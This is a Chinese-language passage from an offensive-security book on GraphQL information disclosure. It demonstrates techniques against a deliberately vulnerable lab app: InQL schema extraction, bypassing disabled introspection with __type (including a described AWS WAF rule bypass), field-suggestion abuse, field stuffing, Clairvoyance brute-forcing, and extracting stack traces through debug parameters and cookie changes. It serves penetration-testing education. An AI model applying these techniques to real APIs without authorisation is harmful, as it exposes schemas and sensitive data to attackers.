即使是没有原生支持 GraphQL 的 WAF,也很可能识别并拒绝包含常见攻击载荷的请求。此外,WAF 还可以提供其他形式的保护,如限制请求体的大小(以字节限制的形式)来防止 DoS 攻击,或进行限流以减缓 DoS 攻击。

然而,没有 GraphQL 支持的 WAF 将难以防御本章所讲解的许多攻击。例如,WAF 通常不会阻止单个 HTTP 请求,如果它们不包含恶意模式,如危险的 JavaScript 有效载荷(如 XSS)或 SQL 命令(在 SQL 注入的情况下)。尽管我们可以通过使用别名或基于数组的批处理在单个 HTTP 请求中发送成千上万的查询,但没有原生支持 GraphQL 的 WAF 不会理解接受此类请求的危险性。

网关代理

GraphQL 网关将多个 GraphQL 架构合并成一个统一的架构,可以通过将它们拼接在一起,或者通过连接到每个单独的 GraphQL 服务来获取其架构内容。然后,这个架构会在网关层暴露给客户端使用。图 5-9 展示了这种应用部署模型的可能样貌。

图 5-9:一个 GraphQL 网关代理流量到其他服务

GraphQL 网关在安全领域越来越受欢迎,作为一个可以执行策略和进行速率限制的网络瓶颈点。它们通常充当反向代理,将流量转发到其他内部 API 服务器,并且能够管理多个 API 架构。网关还提供如审计功能、架构版本控制、授权控制、七层 DoS(拒绝服务)保护等功能。

总结

在本章中,我们讨论了攻击者可能采用的几种方式,通过这些方式向 GraphQL 服务器施加负载,从而实施 DoS 攻击。我们使用了几种专门的 GraphQL 安全工具来测试 DoS 条件,并解析了自定义漏洞,理解它们在背后是如何运作的。你还学习了 GraphQL 中查询批处理是如何工作的,以及如何通过使用数组和别名使 DoS 攻击更具威胁性。最后,我们探讨了 GraphQL 应用程序可以实施的安全防御措施,以保护自己免受 DoS 攻击。

第六章:信息泄露

信息泄露漏洞 出现的原因是软件系统(如 API)将敏感信息泄露给未经授权的用户。与基于 REST 的应用程序类似,GraphQL 也无法避免这种问题。在本章中,我们将利用其内置功能深入了解应用程序及其保护的数据。

敏感数据泄露是对 API 的最具破坏性的攻击之一。严重的漏洞可能泄露各种信息给潜在攻击者,包括商业信息、知识产权、客户的个人身份信息(PII)等。即使是无意间泄露的技术信息,如应用程序源代码、操作系统版本和文件系统路径,也可能同样严重。这些泄露可能揭示出其他可供我们利用的攻击向量。

我们将探讨如何利用字段建议来提取和映射 GraphQL 模式,无论内省是否启用。你还将学习如何通过探测 GraphQL 错误消息、调试日志和应用程序堆栈跟踪来发现本地用户、操作系统、文件系统结构和应用程序详细信息。

在寻找有用信息时,请记住,漏洞往往是可以串联起来利用的。一个低危漏洞与另一个高危漏洞结合使用,可能会完全危害应用程序。尽可能多地收集目标的信息,并确保将其记录下来;你永远不知道什么时候它会派上用场。

识别 GraphQL 中的信息泄露向量

许多架构、技术和流程级别的错误可能导致信息泄露漏洞。常见的失败包括不正确或缺失的数据分类过程、敏感网络和应用程序中缺乏数据加密、以及关键功能缺乏访问管理控制。

另一个信息泄露攻击的重要原因是软件系统存储并向 API 消费者提供超过必要数据的情况。通常,当你检查由 API 支持的前端应用程序的响应时,你会发现它们返回了前端实际上并未使用的更多信息。这通常表明应用程序可能存在额外的信息泄露漏洞,也表明该应用程序在发布时缺乏充分的安全审查。

在 GraphQL 中,从应用程序中提取敏感信息的最有效方法之一是探索其模式,模式提供了关于应用程序数据结构和业务逻辑的上下文。实现这一点的最佳方法是使用 GraphQL 内省功能。大多数 GraphQL 实现默认启用了内省功能。

然而,在你的黑客冒险过程中,你可能会遇到禁用 introspection 的 GraphQL 实现。为了克服这一点,你可以进行字段填充攻击,并使用专门设计的自动化工具来滥用广泛采用的字段建议功能。你还可以通过主动探测 GraphQL 的调试、错误和堆栈跟踪日志来获得用户和操作级别的信息。我们将在本章中探讨这一切。

使用 InQL 自动化模式提取

在前几章中,我们使用 introspection 查询手动揭示 API 的可用查询和突变等信息。为了让我们的工作更加轻松,像 InQL(在第二章中安装)这样的工具可以帮助你自动提取模式。

InQL 使用一个非常类似于第四章中使用的 introspection 查询。从结果中,它生成一个模式文档,格式包括 HTML、JSON 和制表符分隔值(TSV)。你可以将这些文档与 GraphQL Voyager 等工具一起使用,进一步分析模式。

通过执行以下命令提取并分析 DVGA 的模式。-t(目标)标志指向 DVGA 的网络地址。我们使用 TSV 格式(--generate-tsv)生成报告:

#**inql -t http://localhost:5013/graphql --generate-tsv**

[+] Writing Introspection Schema JSON
[+] DONE
[+] Writing HTML Documentation
[+] DONE
[+] Writing query Templates
Writing systemUpdate query

InQL 将使用目标域的名称自动创建一个目录。如果你列出其内容,你应该能看到多个模式文件:

# cd localhost:5013/
# ls

endpoint_subscription.tsv
endpoint_query.tscv
endpoint_mutation.tsv
mutation
query
subscription

这些 TSV 文件是以制表符分隔的,便于查看 DVGA 中可用的查询。使用 awk,我们可以解析出查询名称:

# awk '{print $1}' endpoint_query.tsv | tail -n +2

audits
paste
readAndBurn
pastes

要查看各种查询支持哪些参数,你可以执行以下 awk 命令来解析制表符分隔的输出:

# awk -F'\t' '{print $1, $2}' endpoint_query.tsv

Operation Name Args Name
audits
paste id, title
readAndBurn id
pastes filter, limit, public

要查看突变或订阅相关的查询,只需使用相同的 awk 命令处理 endpoint_mutation.tsvendpoint_subscription.tsv 文件。搜索 InQL 生成的文档中的查询、突变或订阅,以及它们的参数、类型和其他模式相关信息,对于你想要从命令行自动化某些任务(如模糊测试、暴力破解或查找敏感信息)非常有用。

克服禁用的 introspection

即使一个 GraphQL 实现默认启用 introspection,开发者也可能会禁用它,以避免向客户端暴露关于其模式的信息。这会使得理解如何与 API 交互变得更加困难,但正如你将很快看到的,完全不是不可能。我们可以使用多种技术和特制的查询,即使在禁用 introspection 的情况下,也能窥探应用程序模式的关键元素。

检测禁用的 introspection

在第四章中,我们讨论了如何使用 __schema 元数据字段来检测 introspection。如果禁用了 introspection,类似的查询应该返回一个错误。每个 GraphQL 实现会以不同的方式处理这个错误响应。例如,一些实现可能会返回 400 错误请求 HTTP 响应代码而没有任何详细的错误信息,而其他实现可能会选择返回 200 成功 状态码,并附带如 Introspection is Disabled 的消息。通常,GraphQL 服务器倾向于返回 200 成功 响应,并在 errors 响应键中附带错误信息。

清单 6-1 是你在向 Apollo Server 发送 introspection 查询时可能遇到的错误信息,Apollo Server 是一个流行的 GraphQL 服务器实现。

{
  "errors": [
    {
      "message": "GraphQL introspection is not allowed by Apollo Server, but the
                  query contained __schema or __type. To enable introspection, pass
                  introspection: true to ApolloServer in production",
      "extensions": {
        "code": "GRAPHQL_VALIDATION_FAILED"
      }
    }
  ]
}

清单 6-1:来自 Apollo GraphQL 服务器的 introspection is not allowed 消息

在接下来的两个部分,我们将测试一些揭露技术,帮助我们绕过错误禁用的 introspection。

利用非生产环境

在一些应用程序中,开发环境和暂存环境的安全级别可能低于生产环境。即使在生产环境中禁用了 introspection,你也可能发现它在其他环境中是启用的,这有助于工程师构建、更新、测试和维护他们的 API。

通常,非生产环境托管在像 stagingdev 这样的子域名上。检查这些环境是否对我们开放,并查看是否有任何 GraphQL 服务可能启用了 introspection,是值得的。你可以在 github.com/dolevf/Black-Hat-GraphQL/blob/master/resources/non-production-graphql-urls.txt 找到潜在的 GraphQL 暂存和开发位置列表。

如果我们能够成功地在暂存和开发环境中运行 introspection 查询,我们可以将所学到的信息应用到生产环境中。通常,模式会是相似的。

利用 __type 元数据字段

当 GraphQL 实现想要阻止 introspection 查询执行时,通常会过滤掉包含 __schema 关键字的请求。然而,尽管大多数 introspection 查询利用了 __schema 元数据字段,客户端也可以使用其他几个 introspection 元数据字段。例如,__type 代表系统中的所有类型,可以用来从 GraphQL 模式中提取类型详情。

在 2022 年 5 月,我们发现了一个漏洞,涉及 Amazon Web Services(AWS)提供的 GraphQL 接口服务 AppSync。为了保护 AppSync 免受恶意客户端的攻击,AWS 在后台使用了 WAF。我们找到了一种绕过 WAF 并执行反射查询的方法。WAF 包含专门针对 GraphQL 应用程序的规则,其中之一会阻止通过__schema元字段对 GraphQL API 进行反射查询,但没有考虑其他反射元字段。

该规则本身以 JSON 格式定义如下:

{
  "Name": "BodyRule",
  "Priority": 5,
  "Action": {
    "Block": {}
  },
  "VisibilityConfig" {
    "SampledRequestsEnabled": true,
    "CloudWatchMetricsEnabled": true,
    "MetricName": "BodyRule"
  },
  "Statement": {
    "ByteMatchStatement": {
 **"FieldToMatch": {**
 **"Body": {}**
 **},**
 **"PositionalConstraint": "CONTAINS",**
 **"SearchString": "__schema",**
      "TextTransformation": [
        {
          "Type": "NONE",
          "Priority": 0
        }
      ]
    }
  }
}

使用字符串搜索(SearchString),WAF 规则会在任何传入的 HTTP 请求中查找__schema关键字,并阻止它们通过应用程序。因为规则使用CONTAINS作为位置约束(PositionalConstraint)并匹配 HTTP 的Body字段(FieldToMatch),所以在请求体中任何提到__schema的内容都会导致拒绝操作。

这个例子说明了,如果__schema反射检测查询被拒绝,我们可以使用另一个检测查询来评估反射是否真的被禁用。如果反射没有正确禁用,列表 6-2 中的__type反射检测查询将返回预定响应。这个查询请求模式中的根查询操作的name字段。尝试将它发送到你的本地 DVGA 实例。

**{**
 **__type(name:"Query") {**
 **name**
 **}**
**}**

列表 6-2:一个__type反射检测查询

因为我们知道查询操作的名称总是Query,所以响应应该与列表 6-3 中显示的完全相同。

{
  "data": {
    "__type": {
      "name": "**Query**"
    }
  }
}

列表 6-3:__type反射检测查询的预定响应

作为黑客,如果我们发现反射没有被正确禁用,我们可以扩展__type反射检测查询,填充潜在的自定义对象类型名称列表,并提取有价值的模式信息。我们将在第 150 页的“__type元字段中的类型填充”中讨论这种填充技术。

使用字段建议

许多 GraphQL 实现采用了一个流行的功能,字段建议,它会在客户端发送包含拼写错误的请求时激活。与大多数 REST API 不同,当 HTTP 查询格式错误时,GraphQL 不会返回400 错误请求的状态码,而是通过建议可能的修正来以更友好的方式响应。这一功能并不是 GraphQL 规范的一部分,但在当前大多数 GraphQL 服务器实现中普遍存在。

根据我们的经验,GraphQL 实现通常会返回三到五个建议。然而,并不是 GraphQL 请求的每个部分都会返回字段建议。例如,如果你在根查询操作中犯了拼写错误,GraphQL 实现不会尝试自动修正它。

让我们看一下字段建议响应是什么样的。假设我们向 DVGA 发送一个查询,尝试请求字段 pastestitle,但拼写错误为 titlr。在错误消息中,GraphQL 会通知客户端该字段无法查询,并建议一个架构中存在的字段:

{
  "errors": [
    {
      "message": "Cannot query field \"**titlr**\" on type \"PasteObject\".
       **Did you mean \"title\"?",**
      "locations": [
        {
          "line": 15,
          "column": 5
        }
      ]
    }
  ]
}

错误消息 无法查询字段 . . . 你是想说 . . . 吗? 是常见的。如果一个 GraphQL 服务器实现支持字段建议,你应该会看到类似的消息。

虽然大多数流行的 GraphQL 实现今天都提供字段建议,但并非所有实现都提供禁用此功能的选项。以下是如何在 Graphene 中禁用字段建议的示例,Graphene 是基于 Python 的 GraphQL 实现,DVGA 就是基于此实现的:

graphql.pyutils.did_you_mean.MAX_LENGTH = 0

在这个例子中,MAX_LENGTH 是查询中出现拼写错误时返回给客户端的建议数量。将 MAX_LENGTH 设置为 0 意味着不会返回任何建议,实际上是完全禁用该功能。

理解编辑距离算法

为了判断拼写错误是否与架构中的有效对象、字段或参数相似,GraphQL 实现依赖于简单的 编辑距离算法。理解编辑距离可以帮助我们优化暴力破解脚本,从字段建议中发现名称。

该匹配算法比较任意两个字符串,并根据将它们匹配所需的字符操作数量返回它们的相似度。向字符串中添加、替换或删除一个字符都算作一次操作。例如,要将错误的字段名 titlr 与正确的字段名 title 匹配,我们需要将 r 替换为 e,因此编辑距离为 1。表 6-1 显示了更多的字符串比较及其相应的编辑距离。

表 6-1:两个字符串之间的编辑距离

字符串 拼写错误 操作 编辑距离
title titl 添加 e 1
content rntent r 替换为 c,添加 o 2

GraphQL 实现使用可变的编辑距离阈值,该阈值通过 列表 6-4 中所示的公式计算,以决定是否显示字段建议。这个例子直接取自 GraphQL 参考实现 GraphQL.js 的源代码。

const threshold = Math.floor(**input.length** * 0.4) + 1;

列表 6-4:来自 GraphQL.js 的编辑距离阈值代码片段

这段代码获取字符串的长度,将其乘以 0.4,然后使用 Math.floor 函数向下取整,并加上 1。例如,像 content 这样的七个字符的字符串,必须具有 3 或更少的编辑距离阈值,才能触发相关的字段建议。

优化字段建议的使用

单个拼写错误可能返回多个字段名。GraphQL 会返回所有可能匹配提供的拼写错误的字段。例如,以下查询请求从顶级字段 pastes 中请求拼错的 owne 字段(即 owner):

query {
  pastes {
    **owne**
  }
}

这个单独的 owne 拼写错误在 ownerownerId 字段的编辑距离阈值内。当这种情况发生时,GraphQL 实现不知道客户端想请求哪个字段,因此会同时返回两者:

{
  "errors": [
    {
      "message": "Cannot query field \"owne\" on type \"PasteObject\".
                  Did you mean \"owner\" or \"ownerId\"?",
      "locations": [
        {
          "line": 24,
          "column": 3
        }
      ]
    }
  ]
}

另一个有用的事实是,客户端在单个请求中发送的拼写错误数量没有限制。对于每个拼写错误,GraphQL 服务器将尝试提供一个自动更正建议。例如,在以下请求中,我们发送了一个带有多个字段的查询,所有这些字段都有拼写错误:

query {
  pastes {
 **tte**
 **tent**
 **bli**
 **urn**
  }
}

GraphQL 服务器会分析每个拼写错误,并返回在编辑距离阈值内的所有可能的字段建议列表。这种 GraphQL 响应行为允许进行大量信息收集:

{
  "errors": [
    {
      "message": "Cannot query field \"**tte**\" on type \"PasteObject\".
                  Did you mean \"**title**\"?",
`--snip--`
      ]
    },
    {
      "message": "Cannot query field \"**tent**\" on type \"PasteObject\".
                  Did you mean \"**content**\"?",
      "locations": [
`--snip--`
      ]
    },
    {
      "message": "Cannot query field \"**bli**\" on type \"PasteObject\".
                  Did you mean \"**public**\"?",
`--snip--`
      ]
 },
    {
      "message": "Cannot query field \"**urn**\" on type \"PasteObject\".
                  Did you mean \"**burn**\"?",
`--snip--`
      ]
    }

在第五章讨论的查询批处理可以通过在单个 HTTP 请求中批量处理多个请求来进一步优化此类攻击。

考虑安全发展

在撰写本文时,正在进行的安全开发可能会影响将来对字段建议的使用。2019 年 11 月 5 日,关于在 GraphQL 参考实现 GraphQL.js 中使用字段建议的 GitHub 问题已经提出。

该问题指出,攻击者可以通过发送无效的 GraphQL 文档来探测服务器的模式详细信息。它引用了一个名为 didYouMean.ts 的文件,该文件在几个验证规则中使用。这个文件可以在开发 API 时为开发人员提供有用的建议,但也可以用来泄漏信息。

对于该问题的回应,GraphQL 共同创始人李·拜伦评论如下:

我预期,一个禁用内省的模式也会禁用 didYouMean。我想不出你为什么会想要禁用内省,但启用 didYouMean,反之亦然。

在支持拜伦观点的评论线索之后,于 2022 年 1 月 28 日提出了一个拉取请求,以在禁用内省时禁用字段建议。如果合并,这个拉取请求将使得在禁用内省时滥用字段建议变得困难。

虽然这一变更对于 GraphQL 的安全性是一个积极的发展,但我们黑客应该考虑几个要点。首先,在问题首次提出后,社区花了两年多的时间才开发出潜在的解决方案。在像 GraphQL 这样的开源和社区驱动技术中,重要的安全问题不一定会很快得到修补。

其次,在 GraphQL 参考实现中解决了这个问题,但这个补丁可能需要一段时间才能在所有使用 GraphQL 的服务器实现和生产部署中广泛采用。

那么,如果 introspection 和字段建议都被禁用呢?我们该如何继续探索目标的模式?在接下来的章节中,我们将深入探讨另一种可能用于发现看似无害的 GraphQL 查询背后敏感信息的技术。

使用字段填充

字段填充 是一种 GraphQL 信息泄露技术,其中将一系列字段插入到 GraphQL 查询中。我们可以通过字段填充,尝试猜测并将这些潜在的字段名传入一个我们知道有效的查询请求,从而可能发现诸如密码、密钥和个人身份信息等敏感数据。

例如,假设我们通过使用 Burp Suite 拦截流量并观察正常用户操作的方式,捕获了以下查询。这是发现信息泄露漏洞的一个良好初步步骤。(第二章解释了如何使用 Burp Suite 拦截流量。)

query {
  user {
    name
  }
}

这样一个查询可能返回一些看似无害的内容,比如当前登录用户账户的 name。而且由于 introspection 被禁用,我们无法确定在这个 user 对象中是否有其他有价值的字段可供我们使用。

字段填充可能使我们绕过这一点。从本质上讲,这种技术利用了一个可能性,即 GraphQL 模式中的对象字段与数据库列等资源紧密映射。表 6-2 显示了一个可能代表我们用户表的 MySQL 数据库模式示例。

表 6-2:示例用户表 MySQL 数据库模式

MySQL 模式 GraphQL 类型和字段
id BIGINT(20) User.idInt
name VARCHAR(50) User.nameString
mobile VARCHAR(50) User.mobileString
email VARCHAR(50) User.emailString
password_hash VARCHAR(32) User.password_hashString
registered_at DATETIME User.registered_at(自定义 DATETIME 标量类型或 String
last_login DATETIME User.last_login(自定义 DATETIME 标量类型或 String
intro TEXT User.introString
profile TEXT User.profileString
api_key VARCHAR(50) User.api_keyString

为了表示整数和字符串,MySQL 使用诸如 BIGINTVARCHAR 等数据类型,而 GraphQL 使用诸如 IntString 的标量类型。MySQL 还内置了日期和时间等类型,使用 DATETIME 数据类型。在 GraphQL 中,我们可能需要使用自定义标量类型,例如 DATETIMEString。实际的日期时间表示将由应用程序的逻辑来序列化。

作为攻击者,我们显然无法事先了解数据库的模式,但我们可以通过推测这些额外的数据库列可能是什么,并开始将它们的字段名尝试插入查询中。以下是添加到我们user查询中的潜在字段名列表:

query {
  user {
    name
 **username**
 **address**
 **birthday**
 **age**
 **password**
 **sin**
 **ssn**
 **apiKey**
 **token**
 **emailAddress**
 **status**
  }
}

注意你尝试的字段名称的格式。SDL 文件中的字段和参数通常采用 snake_case 风格,即每个空格都被下划线(_)符号替换,并且每个单词的首字母小写。例如,API 密钥字段很可能会被定义为 api_key。然而,当以客户端身份查询 GraphQL API 时,这些字段和参数可能以 camelCase 显示,即多个单词组成的名称被连接为一个单词且不带标点符号,第一个字母小写(也称为 lowerCamelCase)。这是因为某些 GraphQL 实现会自动转换字段和参数的风格。不过,命名约定是可以更改的,完全取决于应用程序维护者。更多命名约定的信息可以在 graphql-rules.com/rules/naming 中找到。

将一个查询填充上数百个潜在的字段名称,就像戴着眼罩玩飞镖游戏,并希望能击中靶心。如果我们幸运的话,我们的某些查询字段可能会得到解析并返回数据(或者甚至可能建议一些在编辑距离阈值内的备用字段名称)。

__type 元字段中进行类型填充

在本章早些时候,我们提到某些应用程序可能无法拒绝使用 __type 元字段的查询,当试图禁用 introspection 时。如果是这样,我们可以使用类似字段填充的技术来深入了解应用程序的 schema:即将潜在的类型名称填充到 __type 字段的 name 参数中。

让我们利用 DVGA 禁用 introspection 的方法较差的漏洞,通过发送以下针对 PasteObject__type introspection 查询,从其 schema 中获取字段列表:

{
  __type(name:"PasteObject") {
    name
    fields {
      name
    }
  }
}

此查询的响应应该会提供我们 PasteObject 类型中所有字段名称的列表:

{
  "data": {
    "__type": {
      "name": "**PasteObject**",
      "fields": [
        {
          "name": "**id**"
        },
        {
          "name": "**title**"
        },
        {
          "name": "**content**"
        },
        {
          "name": "**public**"
        },
        {
          "name": "**userAgent**"
        },
        {
          "name": "**ipAddr**"
        },
        {
          "name": "**ownerId**"
        },
        {
          "name": "**burn**"
        },
        {
          "name": "**owner**"
        }
      ]
    }
  }
}

就像我们之前使用字段填充来识别字段名称一样,我们可以尝试不同的类型名称,直到找到一个有效的类型名。在命名约定方面,GraphQL 中的类型名称通常使用 UpperCamelCase(例如 PrivatePasteProperties)。

我们现在具备了手动测试和分析 GraphQL 应用程序的理论知识,以发现一些信息泄露的弱点。接下来,我们将研究如何运用我们对 GraphQL 的新理解,利用自动化工具使我们的攻击更加高效。

使用 Clairvoyance 自动化字段建议和填充

Clairvoyance 可以利用字段建议和填充功能,从目标中揭示有效的字段信息。在本节中,我们将使用 Clairvoyance 执行暴力请求。我们的目标是拼接多个建议,尽可能多地揭示 schema 信息,而不依赖 introspection。

Clairvoyance 将词汇表作为输入,并将其内容填充到多个 GraphQL 查询中,以识别任何有效的操作、字段、参数、输入类型和其他关键的模式元素。在后台,它使用正则表达式通过错误信息匹配有效字段,并依赖字段建议。一旦完成解析整个词汇表,它将输出一个模式。我们可以利用这个输出的模式来探测敏感信息泄露的机会。

使用像 Clairvoyance 这样的工具进行字段填充时,最有效的方式是词汇表与我们目标的 GraphQL 模式元素相匹配。虽然有很多在线词汇表,但大多数是为猜测密码、目录或用户名设计的。因为我们要猜测字段、操作和参数的名称,所以我们可能最成功的方式是使用普通的英文词典词汇列表。

一个合适的词汇表是 Derek Chuank 创建的high-frequency-vocabulary词汇表。这个包含 30,000 个常见英语单词的列表是一个很好的起点。要获取这个词汇表,可以运行以下命令:

# cd ~
# git clone https://github.com/nicholasaleks/high-frequency-vocabulary

现在我们有了可以使用的词汇表,接下来让我们启动 Clairvoyance 并攻击 DVGA 实例。记住,它应该处于专家(加固)模式,以禁用自省。

进入你安装 Clairvoyance 的目录,然后使用-w(词汇)参数对 DVGA 执行词汇表攻击。-o参数告诉 Clairvoyance 在运行时应该将生成的模式输出到哪里:

# cd ~/clairvoyance
# python3 -m clairvoyance http://localhost:5013/graphql
**-w ~/high-frequency-vocabulary/30k.txt -o clairvoyance-dvga-schema.json**

根据词汇表的大小,Clairvoyance 可能需要几分钟才能完成执行。执行完成后,你应该会在clairvoyance目录下看到一个名为clairvoyance-dvga-schema.json的新文件。

让我们通过将 Clairvoyance 给我们的模式与从自省查询生成的模式进行比较,来测试我们的词汇表的效率。为了最好地表示这些差异,我们可以利用 GraphQL Voyager,访问lab.blackhatgraphql.com:9000ivangoncharov.github.io/graphql-voyager,并上传两个模式。图 6-1 展示了 DVGA 的模式,图 6-2 展示了 Clairvoyance 重建的模式。

如你所见,Clairvoyance 成功恢复了几乎所有 DVGA 模式的字段和操作!对于一个没有启用自省的应用来说,这已经相当不错了。

另一个不错的选择是生成我们自己的词汇表。如前所述,像 Clairvoyance 这样的工具只会根据我们提供的词汇表的强度来发挥作用。我们可以通过做出有根据的猜测,或者从 HTTP 流量、静态文件和在信息收集阶段收集的其他资源中提取关键词,来扩充我们的词汇表。

图 6-1:原始 DVGA 模式

图 6-2:Clairvoyance 重建的 DVGA 模式

类似 CeWL(自定义单词列表生成器)等工具,Kali 系统中预装的 CeWL 工具可以从应用程序的前端 HTML 提取关键字。尝试使用以下命令提取并分析 DVGA 界面中的信息:

# cewl http://localhost:5013/

此命令将返回一个可以用于手动字段填充攻击的单词列表。或者,将它与您的 30,000 个单词列表合并并使用 Clairvoyance。您可以使用一个简单的 Bash 命令合并两个文本文件:

# paste -d "\n"** `wordlist1.txt wordlist2.txt` **> merged_wordlist.txt

滥用错误消息

通过错误消息泄露信息 是一种安全漏洞,其中应用程序或系统在错误消息中向最终用户泄露敏感信息。如果应用程序没有正确处理错误消息,这些信息可能会暴露诸如密钥、用户凭据、用户信息、数据库详情、应用程序环境变量以及文件或操作系统详情等数据。

正如我们通过探索字段建议所发现的,GraphQL 错误消息可能会非常冗长。默认情况下,GraphQL 倾向于向客户端分享更多信息,以改善整体开发者体验。通过了解 GraphQL 错误消息,我们可以利用它们揭示的信息来进行攻击。

我们已经提到过,GraphQL 错误消息与 REST 错误消息不同,后者使用标准的 HTTP 状态码。根据规范,GraphQL 错误响应不需要 HTTP 状态码,通常只包含三个独特的字段:MessageLocationPath。要查看这个效果,可以尝试发送以下变更请求,在 DVGA 中创建一个新的粘贴。此请求缺少必需的 title 参数:

**mutation {**
 **createPaste(content:"Hi", public: false) {**
 **paste {**
 **id**
 **}**
 **}**
**}**

如果我们向 DVGA 发送这个错误的变更请求,它将返回一个标准的错误 JSON 对象,我们可以分析它。这个错误响应应该包含一个数组,列出查询中识别到的所有错误:

{
  "**errors**": [
    {
      "**message**": "mutate() missing 1 required positional argument: 'title'",
      "**locations**": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "**path**": [
        "createPaste"
      ]
    }
  ],
  "data": {
    "createPaste": null
  }
}

错误响应格式可能包括诸如 messagelocationpath 等特殊键。这些键提供了错误的描述以及错误发生的位置:

message message 字段在每个 GraphQL 错误中都是必需的,并包含错误的高层次描述。在这个例子中,message 字段告诉我们我们的变更操作缺少一个必需的位置参数 title。大多数信息泄露漏洞发生在 message 字段中,所以一定要特别留意它。

location 对于长而复杂的 GraphQL 文档(如大型模糊测试文档),返回的错误响应可能很难解析。这时,location 字段非常有用。如果错误可以与 GraphQL 文档中的某个特定位置关联,则该字段将包含该位置的行和列。在我们的例子中,错误发生在第 2 行,第 3 列,指向 createPaste 变更。请注意,缩进空格也会计入这些位置列。

path path 字段引用特定的字段,用于判断 null 结果是故意的还是由运行时错误引起的。在这个例子中,我们看到路径错误发生是因为我们在尝试创建新粘贴时无法返回 id 响应。路径错误也可能发生在字段返回一个联合类型或接口类型的值,但该值无法解析为该联合类型或接口类型的成员。然而,大多数实现,包括 DVGA,都不会返回由验证错误引起的路径错误。

extensions extensions 字段用于多个 GraphQL 服务中,以扩展我们刚才提到的 messagelocationpath 字段。扩展字段保留给实现和插件,通常包括错误代码、时间戳、堆栈跟踪和速率限制信息等内容。

探索过多的错误信息

现在你已经了解了 GraphQL 错误数组的一些标准元素,你可以开始探查它们是否包含敏感信息。以下错误是在 DVGA 中,当客户端尝试使用已经存在于数据库中的用户名发送 createUser 变更请求时引发的:

{
  "errors": [
    {
      "message": **"(sqlite3.IntegrityError) UNIQUE constraint failed:**
 **users.username\n[SQL: INSERT INTO users (username, password)**
 **VALUES (?, ?)]\n[parameters: ('tom', 'secret')]\n(Background**
 **on this error at: http://sqlalche.me/e/13/gkpj)",**
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "createUser"
      ]
    }
  ],
  "data": {
    "createUser": null
  }
}

如你所见,响应错误明显是信息泄露。message 字段直接来自 SQLite3 数据库,提供了用于向 users 表中插入新用户记录的完整 SQL 语句。我们还看到一个唯一的 username 数据库列和一个 password 列,后者显然在插入时并没有加密。

这条单一的错误信息可能使恶意攻击者能够指纹识别 SQL 数据库,并可能枚举出所有有效的用户帐户。它还将应用程序暴露于 SQL 注入攻击,因为它向攻击者提供了有关 SQL 查询结构的洞察。

在通过错误信息测试信息泄露问题时,你可能想通过不同的方式模糊测试 API,直到某个操作组合或格式不正确的输入导致服务器抛出意外错误。并非所有的 GraphQL 服务器都相同,因此尝试各种测试用例,直到某些东西起作用是非常重要的。

例如,如果你发送格式不正确的查询,指定查询中不该出现的特殊字符,甚至通过对 GraphQL 来说不常用的 HTTP 方法(如 PUT)发送查询,都可能导致意外的服务器处理错误。当这种情况发生时,你需要留意 errorsextensions GraphQL 响应 JSON 键中是否有任何非标准输出,以识别服务器可能在响应中包含的额外细节。

启用调试

开发人员在排查 GraphQL 应用程序问题时会使用调试信息。当启用调试模式时,GraphQL 服务器会以详细的消息响应客户端请求,这些消息与通常不会显示的后端服务器错误相关。例如,客户端可能会收到一个堆栈跟踪,而不是返回标准错误信息。这些调试消息可能包含有价值的信息,攻击者可以利用这些信息对目标进行进一步攻击。

大多数支持调试的 GraphQL 实现可以通过使用环境变量来启用调试模式。许多实现还支持追踪,这是一种有用的工具,用于跟踪 GraphQL 完成查询所需的时间,并将这些数据与关于请求的其他元数据一起添加到响应中的 extensions 键中。

一些实现默认启用调试模式,甚至可能允许客户端通过 cookies 和 URL 参数来启用调试模式。例如,根据 Magento 的 GraphQL 实现文档,客户端可以通过将?XDEBUG_SESSION_START=PHPSTORM参数添加到端点 URL 来启动调试。另一个常用的启用调试模式的参数是 debug 查询参数,值为 1(表示启用),例如:

http://example.com/graphql?debug=1

开发人员最有可能在其预发布或开发环境中使用调试模式。你可以使用非生产 GraphQL URL 的列表(github.com/dolevf/Black-Hat-GraphQL/blob/master/resources/non-production-graphql-urls.txt)来测试多个 GraphQL 子域和端点上的详细调试错误信息。

许多开发人员可能还会通过在 JavaScript 中使用console.log函数将调试信息写入浏览器的控制台。在浏览器的开发者工具中,可以使用“控制台”标签页检查可能与 GraphQL 功能相关的调试日志。

从堆栈跟踪中推断信息

堆栈跟踪(也称为堆栈回溯堆栈追溯)是应用程序在发生异常错误时执行的函数调用。当发生错误时,这个“面包屑”轨迹对开发人员非常有用,可以帮助他们在源代码中识别故障条件。但是,如果这些堆栈跟踪暴露给黑客,攻击者可能会利用有关系统和源代码的敏感信息来提取数据并定制未来的攻击。

如前所述,同一服务器上的不同 GraphQL 端点可能具有不同的配置设置。例如,DVGA 的 /graphql 端点不会对引发错误的客户端请求抛出堆栈跟踪。然而,提供图形查询工具访问的 /graphiql 端点在发生错误时会配置为返回堆栈跟踪。

如果仔细想想,为每个端点设置不同的配置是合理的。假设开发人员使用图形界面进行调试和测试,因此他们可能需要详细的错误信息来识别 bug,而这种信息在像/graphql这样的生产端点中并不必要。

让我们练习利用这个配置。通过浏览器,导航到 DVGA 的http://localhost:5013,然后通过立方体菜单图标切换到初学者模式。接下来,为了作为客户端访问 DVGA 的/graphiql端点,我们需要使用浏览器的开发者工具,将env cookie 从默认值graphiql:disable修改为graphiql:enable。你可以通过按 CTRL-SHIFT-I 或右键点击浏览器窗口中的任意位置并选择Inspect来访问这些工具。图 6-3 显示了 Firefox 中的检查窗口。

你可以通过点击浏览器中的Storage标签,然后选择Cookies,并从下拉菜单中选择http://localhost:5013,直接修改env cookie。你需要双击值字段。

图 6-3:Firefox 检查窗口显示 DVGA 的 cookies

修改env cookie 后,你应该能够从 GraphiQL Explorer 面板发送包含拼写错误的查询。例如,尝试请求不存在的pastes字段title,如图所示:

**query {**
 **pastes {**
 **titled**
 **}**
**}**

响应应包括堆栈追踪:

{
  "errors": [
    {
      "message": "Cannot query field \"titled\" on type \"PasteObject\".
                  Did you mean \"title\"?",
      "extensions": {
        "exception": {
          "stack": [
            "  File \"**/Users/dvga-user/Desktop/Damn-Vulnerable-GraphQL-Application**
 **/venv/lib/python3.x/site-packages/gevent/baseserver.py**\", line 34,
             in _handle_and_close_when_done\n    return handle(*args_tuple)\n",
`--snip--`
            "  File \"**/Users/dvga-user/Desktop/Damn-Vulnerable-GraphQL-Application**
 **/venv/lib/python3.x/site-packages/flask/app.py**\", line 2464,
             in __call__\n    return self.wsgi_app(environ, start_response)\n",
